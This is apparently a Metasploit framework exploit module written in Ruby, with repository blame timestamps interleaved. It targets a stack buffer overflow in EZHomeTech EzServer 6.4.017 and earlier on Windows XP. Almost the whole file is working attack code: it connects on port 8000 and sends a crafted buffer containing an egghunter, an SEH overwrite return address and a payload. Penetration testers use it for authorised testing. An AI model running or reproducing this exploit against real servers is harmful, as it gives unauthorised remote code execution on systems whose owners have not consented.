metasploit-framework/modules/exploits/windows/http/ezserver_http.rb

92 lines
2.5 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh
2012-06-18 20:44:17 +00:00
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'EZHomeTech EzServer Stack Buffer Overflow Vulnerability',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module exploits a stack buffer overflow in the EZHomeTech EZServer
for versions 6.4.017 and earlier. If a malicious user sends packets
containing an overly long string, it may be possible to execute a
payload remotely. Due to size constraints, this module uses the
Egghunter technique.
2013-08-30 21:28:54 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
],
'References' =>
[
[ 'OSVDB', '83065' ],
[ 'BID', '54056' ],
[ 'EDB', '19266' ],
[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
],
'DefaultOptions' =>
{
2015-09-01 08:46:54 +00:00
'EXITFUNC' => 'thread'
2013-08-30 21:28:54 +00:00
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
'DisableNops' => true
},
'Targets' =>
[
[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
{
'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
'Offset' => 5852
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jun 18 2012',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options([Opt::RPORT(8000)], self.class)
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def exploit
connect
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}
2012-06-18 20:44:17 +00:00
2013-08-30 21:28:54 +00:00
hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
egg = hunter[1]
buff = rand_text(target['Offset'] - egg.length) #junk
buff << egg
buff << make_nops(32)
buff << generate_seh_record(target.ret)
buff << make_nops(16)
buff << hunter[0]
buff << rand_text_alpha_upper(500)
2013-08-30 21:28:54 +00:00
print_status("Triggering shellcode now...")
print_status("Please be patient, the egghunter may take a while..")
2012-06-18 20:44:17 +00:00
2013-08-30 21:28:54 +00:00
sock.put(buff)
2013-08-30 21:28:54 +00:00
handler
disconnect
2013-08-30 21:28:54 +00:00
end
end